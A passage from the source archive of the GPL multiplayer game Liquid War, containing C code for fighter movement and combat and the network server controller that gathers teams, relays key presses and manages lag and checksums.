FIGHTER_MOVE_Y_REF[dir]; FIGHTER_MOVE_OFFSET[k][i][j] = 0; if (FIGHTER_MOVE_X[k][i][j] == 1) ++(FIGHTER_MOVE_OFFSET[k][i][j]); if (FIGHTER_MOVE_X[k][i][j] == -1) --(FIGHTER_MOVE_OFFSET[k][i][j]); if (FIGHTER_MOVE_Y[k][i][j] == 1) FIGHTER_MOVE_OFFSET[k][i][j] += CURRENT_AREA_W; if (FIGHTER_MOVE_Y[k][i][j] == -1) FIGHTER_MOVE_OFFSET[k][i][j] -= CURRENT_AREA_W; FIGHTER_MOVE_OFFSET_ASM[k][i * NB_TRY_MOVE + j] = FIGHTER_MOVE_OFFSET[k][i][j]; FIGHTER_MOVE_XY_ASM[k][i * NB_TRY_MOVE + j] = FIGHTER_MOVE_Y[k][i][j] * 65536 + FIGHTER_MOVE_X[k][i][j]; } for (i = 0; i < CURRENT_ARMY_SIZE; ++i) disp_fighter (CURRENT_ARMY + i); /* * note: * NB_LOCAL_DIRS is 16 but it's true that 12 is enough. * However, I find it safer to reserve 16 slots, since * this way all the combinations of 1,2,4 and 8 can * be handled correctly - even if some are impossible. * And it has the advantage to avoid confusion with * the 12 directions represented by NB_DIRS. */ for (i = 1; i <= NB_LOCAL_DIRS; ++i) { for (j = 0; j < 2; ++j) { k = -1; switch (i) { case 1: k = j ? DIR_NNW : DIR_NNE; break; case 3: k = DIR_NE; break; case 2: k = j ? DIR_ENE : DIR_ESE; break; case 6: k = DIR_SE; break; case 4: k = j ? DIR_SSE : DIR_SSW; break; case 12: k = DIR_SW; break; case 8: k = j ? DIR_WSW : DIR_WNW; break; case 9: k = DIR_NW; break; } LOCAL_DIR[(i - 1) * 2 + j] = k; } } } /*------------------------------------------------------------------*/ int get_main_dir (MESH * mesh, int team, int sens, int start) { int i, dir, dist; MESH *mesh2; dist = AREA_START_GRADIENT; dir = -1; i = start; if (sens) { do { if ((mesh2 = mesh->link[i])) if (mesh2->info[team].state.grad < dist) { dir = i; dist = mesh2->info[team].state.grad; } i = (i < NB_DIRS - 1) ? i + 1 : 0; } while (i != start); } else { do { if ((mesh2 = mesh->link[i])) if (mesh2->info[team].state.grad < dist) { dir = i; dist = mesh2->info[team].state.grad; } i = (i > 0) ? i - 1 : NB_DIRS - 1; } while (i != start); } if (dir >= 0) return dir; else return (GLOBAL_CLOCK % NB_TEAMS); } /*------------------------------------------------------------------*/ static int get_close_dir (MESH * mesh, FIGHTER * f, int team, int sens, int start) { int cursor_x, cursor_y, fighter_x, fighter_y; int code_dir = 0, dir; fighter_x = f->x; fighter_y = f->y; cursor_x = mesh->info[team].update.cursor.x; cursor_y = mesh->info[team].update.cursor.y; if (cursor_y < fighter_y) code_dir += 1; if (cursor_x > fighter_x) code_dir += 2; if (cursor_y > fighter_y) code_dir += 4; if (cursor_x < fighter_x) code_dir += 8; if (code_dir) dir = LOCAL_DIR[(code_dir - 1) * 2 + (sens ? 1 : 0)]; else dir = start; return dir; } /*------------------------------------------------------------------*/ void move_fighters (void) { int attack[NB_TEAMS], defense[NB_TEAMS], new_health[NB_TEAMS]; int i, dir, team, coef; FIGHTER *f; PLACE *p, *p0, *p1, *p2, *p3, *p4; int *move_offset, *move_x, *move_y; int sens, start, table; int cpu_influence[NB_TEAMS] = { 0, 0, 0, 0, 0, 0 }; #ifdef ASM int temp = 0; #endif sens = 0; for (i = 0; i < NB_TEAMS; ++i) if (CURRENT_CURSOR[i].control_type == CONFIG_CONTROL_TYPE_CPU && CURRENT_CURSOR[i].active) cpu_influence[CURRENT_CURSOR[i].team] = LW_CONFIG_CURRENT_RULES.cpu_advantage; for (i = 0; i < PLAYING_TEAMS; ++i) { coef = ACTIVE_FIGHTERS[i] * PLAYING_TEAMS - CURRENT_ARMY_SIZE; coef *= 256; coef /= CURRENT_ARMY_SIZE; if (coef > 256) coef = 256; coef *= (LW_CONFIG_CURRENT_RULES.number_influence - 8) * (LW_CONFIG_CURRENT_RULES.number_influence - 8); coef /= 64; if (LW_CONFIG_CURRENT_RULES.number_influence < 8) coef = -coef; if (coef < 0) coef /= 2; coef += 256; attack[i] = (coef * fixsqrt (fixsqrt (1 << (LW_CONFIG_CURRENT_RULES.fighter_attack + cpu_influence[i])))) / (256 * 8); if (attack[i] >= MAX_FIGHTER_HEALTH) attack[i] = MAX_FIGHTER_HEALTH - 1; if (attack[i] < 1) attack[i] = 1; defense[i] = (coef * fixsqrt (fixsqrt (1 << (LW_CONFIG_CURRENT_RULES.fighter_defense + cpu_influence[i])))) / (256 * 256); if (defense[i] >= MAX_FIGHTER_HEALTH) defense[i] = MAX_FIGHTER_HEALTH - 1; if (defense[i] < 1) defense[i] = 1; new_health[i] = (coef * fixsqrt (fixsqrt (1 << (LW_CONFIG_CURRENT_RULES.fighter_new_health + cpu_influence[i])))) / (256 * 4); if (new_health[i] >= MAX_FIGHTER_HEALTH) new_health[i] = MAX_FIGHTER_HEALTH - 1; if (new_health[i] < 1) new_health[i] = 1; ACTIVE_FIGHTERS[i] = 0; } start = (GLOBAL_CLOCK / 6) % NB_DIRS; table = (GLOBAL_CLOCK / 3) % 2; f = CURRENT_ARMY; #ifdef ASM if (STARTUP_ASM && LW_CONFIG_CURRENT_RULES.asm_algorithm) boost_move_fighters (CURRENT_ARMY, CURRENT_ARMY_SIZE, CURRENT_AREA, CURRENT_AREA_W, ACTIVE_FIGHTERS, attack, defense, new_health, MAX_FIGHTER_HEALTH - 1, sens, start, -GLOBAL_CLOCK, FIGHTER_MOVE_XY_ASM[table], FIGHTER_MOVE_OFFSET_ASM[table], CURRENT_AREA_BACK->dat, CURRENT_AREA_DISP->dat, COLOR_FIRST_ENTRY, COLORS_PER_TEAM, LOCAL_DIR, temp, temp, temp, temp, temp, temp, temp, temp); else #endif for (i = 0; i < CURRENT_ARMY_SIZE; ++i) { team = f->team; ACTIVE_FIGHTERS[team]++; start = (start < NB_DIRS - 1) ? start + 1 : 0; p = CURRENT_AREA + (f->y * CURRENT_AREA_W + f->x); if (p->mesh->info[team].update.time >= 0) { p->mesh->info[team].state.dir = get_close_dir (p->mesh, f, team, (sens++) % 2, start); } else if ((-p->mesh->info[team].update.time) < GLOBAL_CLOCK) { p->mesh->info[team].state.dir = get_main_dir (p->mesh, team, (sens++) % 2, start); p->mesh->info[team].update.time = -GLOBAL_CLOCK; } dir = p->mesh->info[team].state.dir; move_offset = FIGHTER_MOVE_OFFSET[table][dir]; move_x = FIGHTER_MOVE_X[table][dir]; move_y = FIGHTER_MOVE_Y[table][dir]; if (((p0 = p + move_offset[0])->mesh) && (!p0->fighter)) { erase_fighter (f); p0->fighter = f; p->fighter = NULL; f->x += move_x[0]; f->y += move_y[0]; disp_fighter (f); } else { if (((p1 = p + move_offset[1])->mesh) && (!p1->fighter)) { erase_fighter (f); p1->fighter = f; p->fighter = NULL; f->x += move_x[1]; f->y += move_y[1]; disp_fighter (f); } else { if (((p2 = p + move_offset[2])->mesh) && (!p2->fighter)) { erase_fighter (f); p2->fighter = f; p->fighter = NULL; f->x += move_x[2]; f->y += move_y[2]; disp_fighter (f); } else { if (((p3 = p + move_offset[3])->mesh) && (!p3->fighter)) { erase_fighter (f); p3->fighter = f; p->fighter = NULL; f->x += move_x[3]; f->y += move_y[3]; disp_fighter (f); } else { if (((p4 = p + move_offset[4])->mesh) && (!p4->fighter)) { erase_fighter (f); p4->fighter = f; p->fighter = NULL; f->x += move_x[4]; f->y += move_y[4]; disp_fighter (f); } else { if (p0->mesh && p0->fighter && p0->fighter->team != team) { p0->fighter->health -= attack[team]; if (p0->fighter->health < 0) { while (p0->fighter->health < 0) p0->fighter->health += new_health[team]; p0->fighter->team = team; } disp_fighter (p0->fighter); } else { if (p1->mesh && p1->fighter && p1->fighter->team != team) { p1->fighter->health -= attack[team] >> SIDE_ATTACK_FACTOR; if (p1->fighter->health < 0) { while (p1->fighter->health < 0) p1->fighter->health += new_health[team]; p1->fighter->team = team; } disp_fighter (p1->fighter); } else { if (p2->mesh && p2->fighter && p2->fighter->team != team) { p2->fighter->health -= attack[team] >> SIDE_ATTACK_FACTOR; if (p2->fighter->health < 0) { while (p2->fighter->health < 0) p2->fighter->health += new_health[team]; p2->fighter->team = team; } disp_fighter (p2->fighter); } else { if (p0->mesh && p0->fighter && p0->fighter->team == team) { p0->fighter->health += defense[team]; if (p0->fighter->health >= MAX_FIGHTER_HEALTH) p0->fighter->health = MAX_FIGHTER_HEALTH - 1; disp_fighter (p0->fighter); } } } } } } } } } f++; } } liquidwar-5.6.5/src/srvcont.c0000664000372000037200000010352413407756104015577 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : srvcont.c */ /* content : global controler of the network channels */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "srvcont.h" #include "srvchan.h" #include "sockgen.h" #include "sock2gen.h" #include "log.h" #include "server.h" #include "netkey.h" #include "srvtime.h" #include "startinf.h" #include "thrdgen.h" #include "macro.h" #include "execgen.h" /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int sock; char ip[LW_SOCK_IP_SIZE]; int port; int *thread_running; char password[PASSWORD_SIZE + 1]; } LW_SRVCONT_REJECT_DATA; /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_SRVCONT_INCREASE_LAG_LIMIT 10 #define LW_SRVCONT_DECREASE_LAG_LIMIT 20 #define LW_SRVCONT_DISPLAY_STATE_DELAY 60 #define LW_SRVCONT_REGISTER_DELAY 90 /*==================================================================*/ /* static functions */ /*==================================================================*/ static void reset (LW_SRVCONT * cont); static int distribute_teams (LW_SRVCONT * cont); static void recalc_nb_teams (LW_SRVCONT * cont); static void find_chan_and_team_by_server_id (LW_SRVCONT * cont, int server_id, int *chan, int *team); static int send_lag_key_presses (LW_SRVCONT * cont, int lag); static int reject_new_clients (LW_SRVCONT * cont, char *password); static void reject_new_clients_callback (void *args); static void disconnect_client (LW_SRVCONT * cont, int i, char *reason); /*------------------------------------------------------------------*/ /* * Resets the LW_SRVCONT struct */ static void reset (LW_SRVCONT * cont) { memset (cont, 0, sizeof (LW_SRVCONT)); cont->sock = -1; cont->nb_teams = 0; cont->nb_chans = 0; } /*------------------------------------------------------------------*/ /* * Affects consistent values to all the teams */ static int distribute_teams (LW_SRVCONT * cont) { int result = 1; int i, j, k; int i_orig, j_orig; int asm_algorithm; /* * The first step is to attribute a unique number to each * local team for each channel. */ k = 0; for (i = 0; i < cont->nb_chans; ++i) { for (j = 0; j < NB_TEAMS; ++j) { if (cont->chan[i].team[j].active) { cont->chan[i].team[j].server_id = k++; } } } /* * Now k should be equal to the number of available teams, * or it means there's a serious error... */ if (k != cont->nb_teams) { log_println_str ("Unable to attribute teams!"); result = 0; } /* * The second step is to define which teams in each channel * will be the "network" teams. */ for (i = 0; i < cont->nb_chans; ++i) { for (k = 0; k < cont->nb_teams; ++k) { if (lw_srvchan_find_team_by_server_id (&(cont->chan[i]), k) < 0) { j = lw_srvchan_find_first_free_team (&(cont->chan[i])); if (j >= 0) { cont->chan[i].team[j].active = 1; cont->chan[i].team[j].network = 1; cont->chan[i].team[j].server_id = k; } else { result = 0; log_println_str ("Unable to find a free team!"); } } } } /* * Third step, we copy the team names and other parameters in all * the teams structures. This is redundant information but it * will save useless CPU waste later... */ for (i = 0; i < cont->nb_chans; ++i) { for (j = 0; j < NB_TEAMS; ++j) { if (cont->chan[i].team[j].active) { find_chan_and_team_by_server_id (cont, cont->chan[i]. team[j].server_id, &i_orig, &j_orig); if (i_orig >= 0 && j_orig >= 0) { /* * Now we check that we're not uselessely copying * stuff from the same struct. It's a waste of time * and can cause some bugs depending on the implementation * of the LW_MACRO_STRCPY macro. */ if (i_orig != i || j_orig != j) { LW_MACRO_STRCPY (cont->chan[i].team[j].name, cont->chan[i_orig].team[j_orig].name); cont->chan[i].team[j].control_type = cont->chan[i_orig].team[j_orig].control_type; } } else { result = 0; log_println_str ("Unable to find a free team!"); } } } } /* * Last step, we check if the "asm_algorithm" parameter should be * enabled. Indeed, it must be enabled on _all_ computers or on * none of them... */ asm_algorithm = 1; for (i = 0; i < cont->nb_chans; ++i) { asm_algorithm = (cont->chan[i].config.asm_algorithm && asm_algorithm); } for (i = 0; i < cont->nb_chans; ++i) { cont->chan[i].config.asm_algorithm = asm_algorithm; } return result; } /*------------------------------------------------------------------*/ /* * Calculates the cont->nb_teams value */ static void recalc_nb_teams (LW_SRVCONT * cont) { int i, j; cont->nb_teams = 0; for (i = 0; i < cont->nb_chans; ++i) { for (j = 0; j < NB_TEAMS; ++j) { if (cont->chan[i].team[j].active) { cont->nb_teams++; } } } } /*------------------------------------------------------------------*/ /* * Gets the chan and team index for a given server id */ static void find_chan_and_team_by_server_id (LW_SRVCONT * cont, int server_id, int *chan, int *team) { int i; int j; *chan = *team = -1; for (i = 0; i < cont->nb_chans; ++i) { for (j = 0; j < NB_TEAMS; ++j) { if (cont->chan[i].team[j].active && (cont->chan[i].team[j].server_id == server_id) && !(cont->chan[i].team[j].network)) { (*chan) = i; (*team) = j; } } } } /*------------------------------------------------------------------*/ /* * Prepares the LW_TEAMSTARTINFO structures */ static void prepare_team_start_info (LW_TEAMSTARTINFO * team_start_info, LW_SRVCONT * cont) { int i, j, k; for (i = 0; i < NB_TEAMS; ++i) { lw_teamstartinfo_reset (team_start_info + i); } k = 0; for (i = 0; i < cont->nb_chans; ++i) { for (j = 0; j < NB_TEAMS; ++j) { if (cont->chan[i].team[j].active && k < NB_TEAMS) { team_start_info[k].active = 1; team_start_info[k].start = cont->chan[i].start; LW_MACRO_STRCPY (team_start_info[k].name, cont->chan[i].team[j].name); k++; } } } } /*==================================================================*/ /* global functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Waits for a given number of teams to connect */ int lw_srvcont_wait_teams (LW_SRVCONT * cont, LW_WWWSRV_DATA * www_data, int nb_teams, int port, char *password, char *callback) { int free_teams = 0; int result = 0; int i; int start; int started = 0; LW_TEAMSTARTINFO team_start_info[NB_TEAMS]; int cur_time, last_time; int display_waiting_for = 1; LW_CHAT_HISTORY chat; LW_CHAT_MESSAGE chat_mess; reset (cont); cur_time = last_time = lw_srvtime_seconds (); lw_chat_reset (&chat); /* * We register the server on the metaserver for the * first time, with 0 active teams. */ www_data->busy_players = cont->nb_teams; www_data->max_players = nb_teams; www_data->log = 1; lw_wwwsrv_register (www_data); if (lw_sock_listen (&(cont->sock), port)) { log_print_str ("Listening on port "); log_print_int (port); log_println_str ("..."); log_flush (); /* * Now we just wait until there are enough teams connected */ while (!started) { free_teams = nb_teams - cont->nb_teams; if (display_waiting_for) { log_print_str ("Waiting for "); log_print_int (free_teams); if (free_teams > 1) { log_print_str (" teams..."); } else { log_print_str (" team..."); } log_println (); display_waiting_for = 0; } if (lw_srvchan_wait_teams (&(cont->chan[cont->nb_chans]), &free_teams, cont->sock, &(cont->chan[cont->nb_chans].map), &(cont->chan[cont->nb_chans].config), password)) { if (cont->nb_teams == 0) { /* * OK, this guy is the first one to connect on * the server, so we'll fire the "callback" script/program */ if (callback && strlen (callback)) { log_print_str ("Executing \""); log_print_str (callback); log_println_str ("\""); lw_exec_cmd (callback); } } cont->nb_teams = nb_teams - free_teams; ++(cont->nb_chans); display_waiting_for = 1; } /* * Now we check if me must force a game start */ start = 1; for (i = 0; i < cont->nb_chans; ++i) { start = start && cont->chan[i].start; } if (cont->nb_teams >= 2 && (start || cont->nb_teams >= nb_teams)) { if (cont->nb_teams < nb_teams) { /* * OK, all the players have pressed the "start" button and there * are at least 2 playing teams -> we start the game! */ nb_teams = cont->nb_teams; log_print_str ("Starting game with only "); log_print_int (cont->nb_teams); log_println_str (" teams"); } free_teams = 0; } /* * The official start signal is: free_teams is set to 0. * We use an extra flag "started" in case free_teams would * be recalculated */ if (free_teams <= 0) { free_teams = 0; started = 1; } /* * We replicate chat messages */ while (lw_chat_pop (&chat, &chat_mess)) { for (i = 0; i < cont->nb_chans; ++i) { lw_chat_push (&(cont->chan[i].chat), chat_mess.author, chat_mess.content); } } /* * now we send feedback to all the connected teams */ prepare_team_start_info (team_start_info, cont); /* * loop with a step of -1 to handle correcty the * possible disconnection of players */ for (i = cont->nb_chans - 1; i >= 0; --i) { if (!lw_srvchan_keepalive (&(cont->chan[i]), free_teams, team_start_info, &chat)) { /* * There's an error with this client, so * we're simply going to disconnect it... */ disconnect_client (cont, i, "keepalive failed"); display_waiting_for = 1; } } recalc_nb_teams (cont); www_data->busy_players = cont->nb_teams; www_data->max_players = nb_teams; /* * We register the server again since the number of * connected teams might have changed */ cur_time = lw_srvtime_seconds (); if (cur_time - last_time > LW_SRVCONT_REGISTER_DELAY || display_waiting_for) { www_data->log = 0; lw_wwwsrv_register (www_data); last_time = cur_time; } } /* * For now the server is a "blocking" server which is never statisfied * until the good number of players has connected itself, so if we * get here it means the operation has been successfull */ result = 1; } else { log_print_str ("Unable to bind socket on port "); log_print_int (port); log_println ("!"); /* * We consider this a fatal error and quit the program * right away. */ lw_server_exit (1); } return result; } /*------------------------------------------------------------------*/ /* * Tells the teams about what the other teams are */ int lw_srvcont_tell_who (LW_SRVCONT * cont) { int i; int result = 0; if (distribute_teams (cont)) { result = 1; for (i = cont->nb_chans - 1; i >= 0; --i) { if (!lw_srvchan_tell_who (&(cont->chan[i]), cont->chan[0].map, &(cont->chan[0].config))) { /* * There's been an error exchanging data with this team * so we decide to "close" it. */ disconnect_client (cont, i, "can't send game info"); } } /* * We start the game only if there are more than 1 channels opened... */ if (cont->nb_chans > 0) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Sends a final OK message to all the clients */ int lw_srvcont_final_ok (LW_SRVCONT * cont) { int i; int result = 0; for (i = cont->nb_chans - 1; i >= 0; --i) { if (!lw_srvchan_final_ok (&(cont->chan[i]))) { disconnect_client (cont, i, "can't send final ok"); } } /* * We start the game only if there are more than 1 channels opened... */ if (cont->nb_chans > 0) { result = 1; } if (result) { log_print_str ("Game start"); log_println (); } else { log_print_str ("Unable to start game"); log_println (); } return result; } /*------------------------------------------------------------------*/ /* * Sends a serie of blank key presses to create an artificial lag. * This lag is usefull, since this way, a few game cycles will * have to be run before a real key press comes back to a given * player. This leaves times for other players to send their own * key presses and this way the game can run smoothly. */ static int send_lag_key_presses (LW_SRVCONT * cont, int lag) { int result = 1; int i, j; LW_NETKEY netkey; lw_netkey_reset (&netkey); for (j = 0; j < lag && result; ++j) { for (i = cont->nb_chans - 1; i >= 0; --i) { /* * We put the checksum to 1, to inform the clients that * everything is OK */ cont->chan[i].checksum_send = 1; if (!lw_srvchan_send_keys (&(cont->chan[i]), &netkey)) { disconnect_client (cont, i, "error sending lag keys"); } } } return result; } /*------------------------------------------------------------------*/ /* * Checks if the checksums from the clients are all the same */ int check_checksum (LW_SRVCONT * cont) { int i, j; int ok = 1; int nb_diff; for (i = 0; i < cont->nb_chans; ++i) { cont->chan[i].checksum_send = 1; nb_diff = 0; /* * We do not check checksums if there's only 1 connected client. */ if (cont->nb_chans >= 2) { for (j = 0; j < cont->nb_chans; ++j) { if (cont->chan[i].checksum_recv != cont->chan[j].checksum_recv) { ok = 0; nb_diff++; } } /* * Now if this channel has a different checksum * than everyone else, we consider there's an error * on it. But if there's at least one channel that * has the same checksum, we consider it's OK * (for this channel only of course...) */ if (nb_diff >= cont->nb_chans - 1) { cont->chan[i].checksum_send = 0; log_print_str ("Checksum error on client \""); log_print_str (cont->chan[i].ip); log_print_str (":"); log_print_int (cont->chan[i].port); log_print_str ("\" ("); log_print_int (cont->chan[i].checksum_recv); log_print_str (")"); log_println (); } } } return ok; } /*------------------------------------------------------------------*/ /* * Sends a final OK message to all the clients */ int lw_srvcont_replicate_keys (LW_SRVCONT * cont, LW_WWWSRV_DATA * www_data, int lag, char *password) { int result = 1; LW_NETKEY netkey; int i; int increase_lag_counter = 0; int decrease_lag_counter = 0; int all_clients_request_increase_lag; int all_clients_request_decrease_lag; int a_client_requests_increase_lag; int a_client_requests_decrease_lag; int rounds = 0; int last_rounds = 0; int average_lag = 0; time_t start, start2, end; double elapsed; int lag_key_presses_to_send = 0; int skip_keys; www_data->log = 1; lw_wwwsrv_register (www_data); lag_key_presses_to_send = lag; start2 = start = lw_srvtime_seconds (); while (cont->nb_chans > 0) { lw_netkey_reset (&netkey); /* * We still listen on the listening socket, to reject * newcomers since the game already started */ reject_new_clients (cont, password); all_clients_request_increase_lag = 1; all_clients_request_decrease_lag = 1; a_client_requests_increase_lag = 0; a_client_requests_decrease_lag = 0; /* * First we get the informations from all the players */ for (i = cont->nb_chans - 1; i >= 0; --i) { if (lw_srvchan_recv_keys (&(cont->chan[i]), &netkey)) { /* * if at least a client does not request a lag * increase, then we don't do it */ if (netkey.cmd == LW_NETKEY_CMD_INCREASE_LAG) { a_client_requests_increase_lag = 1; } else { all_clients_request_increase_lag = 0; } /* * if at least a client does not request a lag * decrease, then we don't do it */ if (netkey.cmd == LW_NETKEY_CMD_DECREASE_LAG) { a_client_requests_decrease_lag = 1; } else { all_clients_request_decrease_lag = 0; } } else { /* * There's been an error receiving data from this team * so we decide to "close" it. */ disconnect_client (cont, i, "no more keys"); } } /* * we reset the cmd and arg fields */ netkey.cmd = LW_NETKEY_CMD_NONE; netkey.arg = 0; /* * We check if the checksums are OK */ check_checksum (cont); /* * we use a counter system, so that all client must answer * "yes we want a lag increase" several times in a row * before we actually update the lag * * Note that test is formulated using 2 values and a * logical and, this is just to get rid of warning * complaining a_client_requests_increase_lag is unused */ if (all_clients_request_increase_lag && a_client_requests_increase_lag) { increase_lag_counter++; } else { increase_lag_counter = 0; } /* * we use a counter system, so that all client must answer * "yes we want a lag decrease" several times in a row * before we actually update the lag * * Note that test is formulated using 2 values and a * logical or, this is just to get rid of warning * complaining all_client_requests_decrease_lag is unused */ if (a_client_requests_decrease_lag || all_clients_request_decrease_lag) { decrease_lag_counter++; } else { decrease_lag_counter = 0; } /* * If we need to increase the lag, we send blank key presses */ if (increase_lag_counter >= LW_SRVCONT_INCREASE_LAG_LIMIT && lag_key_presses_to_send == 0) { increase_lag_counter = 0; lag++; lag_key_presses_to_send++; } /* * If we need to decrease the lag, we simply do not send * the key presses... */ skip_keys = 0; if (decrease_lag_counter >= LW_SRVCONT_DECREASE_LAG_LIMIT) { decrease_lag_counter = 0; lag--; if (lag_key_presses_to_send > 0) { /* * We cancel the planified lag keys */ lag_key_presses_to_send--; } else { /* * No lag keys planned, we skip the current keys */ skip_keys = 1; } } if (!skip_keys) { /* * Now we send the information to all the players */ for (i = cont->nb_chans - 1; i >= 0; --i) { if (!lw_srvchan_send_keys (&(cont->chan[i]), &netkey)) { /* * There's been an error receiving data from this team * so we decide to "close" it. */ disconnect_client (cont, i, "error sending keys"); } } } /* * We send the lag key presses 1 by 1. This is a way * to synchronize correctly at the beginning of a game. */ if (lag_key_presses_to_send > 0) { lag_key_presses_to_send--; send_lag_key_presses (cont, 1); } rounds++; last_rounds++; average_lag += lag; end = lw_srvtime_seconds (); elapsed = end - start; if (((int) elapsed) > LW_SRVCONT_DISPLAY_STATE_DELAY) { if (rounds <= 0) { rounds = 1; } if (last_rounds <= 0) { last_rounds = 1; } log_print_int (rounds); log_print_str (" rounds, "); log_print_int (last_rounds / ((int) elapsed)); log_print_str (" rounds/sec, average lag is "); log_print_int (average_lag / last_rounds); log_println (); start = end; last_rounds = 0; average_lag = 0; } if (end - start2 > LW_SRVCONT_REGISTER_DELAY) { start2 += LW_SRVCONT_REGISTER_DELAY; www_data->log = 0; lw_wwwsrv_register (www_data); } } return result; } /*------------------------------------------------------------------*/ /* * Closes everything and frees the resources */ void lw_srvcont_close (LW_SRVCONT * cont) { int i; lw_sock_close (&(cont->sock)); log_print_str ("Game over"); log_println (); for (i = 0; i < cont->nb_chans; ++i) { lw_srvchan_close (&(cont->chan[i])); } reset (cont); } /*------------------------------------------------------------------*/ /* * Launches a thread which will handle new connections while * other players are playing. */ static int reject_new_clients (LW_SRVCONT * cont, char *password) { int result = 0; static LW_SRVCONT_REJECT_DATA data; static int thread_running = 0; /* * If there's already a thread answering to a client, we do nothing, * for we can answer later, and it makes programming easier and * safer. In any case, the answer we're going to give to the client * is: "there's no room for you guy" so it's not that bad to be * a little late when answering. */ if (!thread_running) { data.sock = -1; data.ip[0] = '\0'; data.port = 0; data.thread_running = &thread_running; strncpy (data.password, password, PASSWORD_SIZE); data.password[PASSWORD_SIZE] = '\0'; if (lw_sock_accept (&(data.sock), data.ip, &(data.port), cont->sock, 0)) { thread_running = 1; result = lw_thread_start (reject_new_clients_callback, (void *) &data); if (!result) { lw_sock_close (&(data.sock)); thread_running = 0; } } else { /* * privacy is set to 0, we do not tell anyone about this server */ result = 1; } } else { result = 1; } return result; } /*------------------------------------------------------------------*/ /* * Main function of the server thread which tries to connect * on the metaserver */ static void reject_new_clients_callback (void *args) { LW_SRVCONT_REJECT_DATA data; int ret; int ret_mess = 1; char message[LW_SOCK_MESSAGE_SIZE]; LW_NETMESS *mess; int program = 0; int version = 0; int password = 0; int free_received = 0; int normal_quit = 0; memcpy (&data, args, sizeof (LW_SRVCONT_REJECT_DATA)); log_print_str ("Connection from \""); log_print_str (data.ip); log_print_str (":"); log_print_int (data.port); log_print_str ("\""); log_println (); log_flush (); while ((!free_received) && ret_mess && ((ret = lw_sock_recv_str (&(data.sock), message)) >= 0)) { if (ret > 0) { mess = lw_netmess_read (message); if (mess != NULL) { /* * switch to handle the different possible messages */ switch (mess->code) { case LW_NETMESS_CODE_PING: ret_mess = lw_srvchan_handle_ping (data.sock, mess); break; case LW_NETMESS_CODE_ECHO: ret_mess = lw_srvchan_handle_echo (data.sock, mess); break; case LW_NETMESS_CODE_PROGRAM: ret_mess = lw_srvchan_handle_program (data.sock, mess, &program); break; case LW_NETMESS_CODE_VERSION: ret_mess = lw_srvchan_handle_version (data.sock, mess, &version); break; case LW_NETMESS_CODE_PASSWORD: ret_mess = lw_srvchan_handle_password (data.sock, mess, &password, data.password); break; case LW_NETMESS_CODE_FREE: ret_mess = lw_srvchan_handle_free (data.sock, mess, 0, &free_received); break; case LW_NETMESS_CODE_QUIT: ret_mess = lw_srvchan_handle_quit (data.sock, mess, &normal_quit); break; default: ret_mess = lw_srvchan_handle_unknown (data.sock, mess); break; } /* * lw_netmess_free must *not* be forgetted */ lw_netmess_free (mess); if (!ret_mess) { log_print_str ("Error processing \""); log_print_str (message); log_print_str ("\""); log_println (); } } else { log_println_str ("Serious memory problem 8-("); ret_mess = 0; } } } log_print_str ("Refusing \""); log_print_str (data.ip); log_print_str (":"); log_print_int (data.port); log_print_str ("\""); if (normal_quit) { /* * If the client quitted with a normal "QUIT" message, then * we mention in the log that it was probably simply pinging. */ log_print_str (" (probably a ping)"); } log_println (); lw_sock_close (&(data.sock)); (*(data.thread_running)) = 0; } /*------------------------------------------------------------------*/ /* * Disconnects a client. This code supposes that the caller function * is executing a loop with a step of -1 (ie a "reverse" loop). */ static void disconnect_client (LW_SRVCONT * cont, int i, char *reason) { int j; log_print_str ("Disconnecting \""); log_print_str (cont->chan[i].ip); log_print_str (":"); log_print_int (cont->chan[i].port); log_print_str ("\" ("); if (cont->chan[i].normal_quit) { /* * The client decided to quit, therefore this is not * an error, we mark it as such */ log_print_str ("decided to quit"); } else { log_print_str (reason); } log_println_str (")"); lw_srvchan_close (&(cont->chan[i])); for (j = i + 1; j < cont->nb_chans; ++j) { cont->chan[j - 1] = cont->chan[j]; } cont->nb_chans--; } liquidwar-5.6.5/src/grad.h0000664000372000037200000001055013407756104015017 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ 